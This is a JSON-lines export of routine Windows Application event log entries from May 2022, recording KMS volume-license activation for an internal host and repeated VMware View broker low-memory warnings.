{"@timestamp":1651677741186,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"00000600267EEB9E15CBA580F491F83A2D369406C53AC9CFAD1088F67440D5727C2857678D2AB90D5808FCC137C65F5A92EB203A5B2594FBB38728692DCBD79925D793E0A98B038B7BA899AD30DE79542FF24FE52354BDF7B77E6F26CC930B23899AF7974D0C5D2F67AAA35304158BD73B02EC0765AD8181CA4DA8C97EF1826EBFD01383C188DEA0AA6A90485B115CA35AA8499FF587DC55CCC95585F4565FCBF7AE4984794E0FC78908D06B066FADD29CD8F0B6A22023DF489A237C32C6D52E7B0AD76475A0767497C1D5AA74F087E9B2CFA316958BCF0EF0F5CF57B7F6C0385520FFE11EFB79F67062B230CE2034B6BD46015997FE05135512F82BF07F5C4466E616B7","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/05/04 15:22"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168658}}
{"@timestamp":1651677741328,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168659}}
{"@timestamp":1651677741329,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168660}}
{"@timestamp":1651677741331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168661}}
{"@timestamp":1651677741387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168662}}
{"@timestamp":1651677741490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168663}}
{"@timestamp":1651677741514,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=502ff3ba-669a-4674-bbb1-601f34a3b968;Action=AutoActivateSilent;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;NotificationInterval=1440;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168664}}
{"@timestamp":1651677741735,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/10/31:15:22:21;LastConsumptionReason=0x4004f040;LastNotificationId=Cleanup;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=379cccfb-d4e0-48fe-b0f2-0136097be147;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168665}}
{"@timestamp":1651677741762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8197,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["RuleId=379cccfb-d4e0-48fe-b0f2-0136097be147;Action=CleanupState;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;Trigger=TimerEvent"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168666}}
{"@timestamp":1651677771799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":16385,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["0x80070002","2022-05-11T15:21:51Z"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168667}}
{"@timestamp":1651715311498,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu May 05 03:48:31 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168668}}
{"@timestamp":1651739198697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168669}}
{"@timestamp":1651758515528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Thu May 05 15:48:35 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168670}}
{"@timestamp":1651801719572,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri May 06 03:48:39 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168671}}
{"@timestamp":1651802871971,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168672}}
{"@timestamp":1651844923624,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Fri May 06 15:48:43 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168673}}
{"@timestamp":1651860603954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168674}}
{"@timestamp":1651888127888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat May 07 03:48:47 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168675}}
{"@timestamp":1651924217097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168676}}
{"@timestamp":1651931331945,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sat May 07 15:48:51 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168677}}
{"@timestamp":1651974536089,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun May 08 03:48:56 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168678}}
{"@timestamp":1651982909196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168679}}
{"@timestamp":1652017740168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Sun May 08 15:49:00 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168680}}
{"@timestamp":1652044841928,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168681}}
{"@timestamp":1652060944582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon May 09 03:49:04 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168682}}
{"@timestamp":1652102633725,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168683}}
{"@timestamp":1652104148612,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Mon May 09 15:49:08 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168684}}
{"@timestamp":1652147352651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue May 10 03:49:12 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168685}}
{"@timestamp":1652161445676,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168686}}
{"@timestamp":1652190556989,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Tue May 10 15:49:16 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168687}}
{"@timestamp":1652224038144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1704,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":[""]}}},"module":"Application","provider":"SceCli","sequence":168688}}
{"@timestamp":1652233761106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed May 11 03:49:21 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168689}}
{"@timestamp":1652276965082,"ecs":{"version":"8.4"},"event":{"activity":null,"code":104,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["BROKER_SMALL_MEMORY\nBroker eng-viewsrv402.ENGINEERING-AC.DE has been detected as being configured with a small amount of physical memory. Please refer to the View Installation Guide.\n\nAttributes:\n\tNode=eng-viewsrv402.ENGINEERING-AC.DE\n\tSeverity=WARNING\n\tTime=Wed May 11 15:49:25 CEST 2022\n\tModule=Broker\n\tSource=com.vmware.vdi.broker.health.MemoryHealthMonitor\n\tBrokerName=eng-viewsrv402.ENGINEERING-AC.DE\n\tAcknowledged=true"]}}},"module":"Application","provider":"VMware View","sequence":168690}}
{"@timestamp":1652282597455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":8230,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-Action-StateData (REG_SZ) =AppId=55c92734-d682-4d71-983e-d6ec3f16059f;GraceEndDate=2022/10/31:15:23:17;LastConsumptionReason=0x4004f040;LastNotificationId=VolumeRenewalRequired;LicenseState=SL_LICENSING_STATUS_LICENSED;PartialProductKey=8XDDG;ProductKeyType=Volume:GVLK;SkuId=21c56779-b449-4d20-adfc-eece0e1ad74b;ruleId=502ff3ba-669a-4674-bbb1-601f34a3b968;uxDifferentiator=ENVIRONMENT;volumeActivationOrder=normal"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168691}}
{"@timestamp":1652282598636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12288,"custom_data":{"EventData":{"Binary":"00000600568EEB1F4AB3981D5553F371E9648864B1FDA3441F27ECD42C06A7924A7890219B8E7F5992B3F3E3084BD5554E07EA4DC1B1E1AF62DC2EE5051A2478B84E64615FA82C8FBFBA327BDD9A700A31BFF273945CEE0F8FF0FABCD8E4A131470D7911C2F11B210A4CB7E8B94C1E46ADC5593422A6F03A8092E251C6FA46E2A0EC018EC8CE3C9697CA6D089071501BA04E6DD322B54BAE0F24FFCE1E769FEEE83F1C4772D669F34351658F3B6B12989B069A754E33E96218B162A7FCE20312FDC059250A45E88F6F4AB0E9B158D7E6F78E03EEBF84EDE614F3E194CA460D0BB2E5010DF2C8D6DB620D849041A30C991E9CF17BE9239F4044E8CCFC69FDCC85C82A07AB","Data":{"#text":["0x00000000, 0x00000000, eng-infrasrv101.engineering-ac.de:1688, 66fdcf75-989c-462d-9cda-ff5474d65922, 2022/05/11 15:23, 0, 1, 249120, 21c56779-b449-4d20-adfc-eece0e1ad74b, 5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168692}}
{"@timestamp":1652282598760,"ecs":{"version":"8.4"},"event":{"activity":null,"code":12289,"custom_data":{"EventData":{"Binary":"0000060059F58E76A025AFDD68E6FDBEB319ABD7C52EE0CD249F4979C72CA7D54E072483091E9AEC6E879A45152EB39D4E664B04048946401422B6FDF10A8530BC2091A4BD4115A104C4FBF6E99B226FB241D5C2C63C2E6B0A5DE6355C05659593084540593BD41280313BF50E736DC27B5610158C5A4B5A0B77A2C790716850F2525E386DD5A19844C85B71AB7987F22DBE4C9E3EF2635D57FD3739157A5EE0D77C7AE605F5D13B1C6D006A32A6560DA95D6FD82A50AA96D20A31858587A16784A8E0A734CEAC88CB3DF8C8C6FE3F3C79516424F0E5E284382FEE3EA43D30E31750360E2E73801DC4AEA11D17DA53DAE35DBBF040EFE44355C491E373A2670D752AAD15","Data":{"#text":["0x00000000, 0x00000000, 1, 0, 50, 120, 10080, 2022/05/11 15:23"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168693}}
{"@timestamp":1652282598895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["ACLUIFileFolderTool-IsSecurityUIEnabled","100"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168694}}
{"@timestamp":1652282598897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Security-SPP-IgnoreDeferredActivation","500"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168695}}
{"@timestamp":1652282598899,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1033,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["(Security-SPP-Reserved-EnableNotificationMode) ","55c92734-d682-4d71-983e-d6ec3f16059f","21c56779-b449-4d20-adfc-eece0e1ad74b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168696}}
{"@timestamp":1652282598964,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1003,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["55c92734-d682-4d71-983e-d6ec3f16059f","\n1: 21c56779-b449-4d20-adfc-eece0e1ad74b, 1, 1 [(0 [0x00000000, 1, 0], [(?)( 1 0x00000000)(?)( 2 0x00000000 0 0 msft:rm/algorithm/volume/1.0 0x4004F040 259200)(?)(?)( 10 0x00000000 msft:rm/algorithm/flags/1.0)(?)])(1 )(2 )(3 )]\n2: 22105925-48c3-4ff4-a294-f654bb27e390, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n3: 2e7a9ad1-a849-4b56-babe-17d5a29fe4b4, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n4: 3c006fa7-3b03-45a4-93da-63ddc1bdce11, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n5: 3c2da9a5-1c6e-45d1-855f-fdbef536676f, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n6: 562634bb-b8d8-43eb-8325-bf63a42c4174, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n7: 58448dfb-6ac0-4e06-b491-07f2b657b268, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n8: 661f7658-7035-4b4c-9f35-010682943ec2, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n9: 942efa8f-516f-46d8-8541-b1ee1bce08c6, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n10: 9db83b52-9904-4326-8957-ebe6feedf37c, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n11: a43f7b89-8023-413a-9f58-b8aec2c04d00, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n12: cbf3499f-848e-488b-a165-ac6d7e27439d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n13: d6992aac-29e7-452a-bf10-bbfb8ccabe59, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n14: d839f159-1128-480b-94b6-77fa9943a16a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n15: e73aabfa-12bc-4705-b551-2dd076bebc7d, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n16: fea51083-1906-44ed-9072-86af9be7ab9a, 1, 0 [(0 [0xC004F014, 0, 0], [(?)(?)(?)(?)(?)(?)(?)(?)])(1 )(2 )(3 )]\n\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168697}}
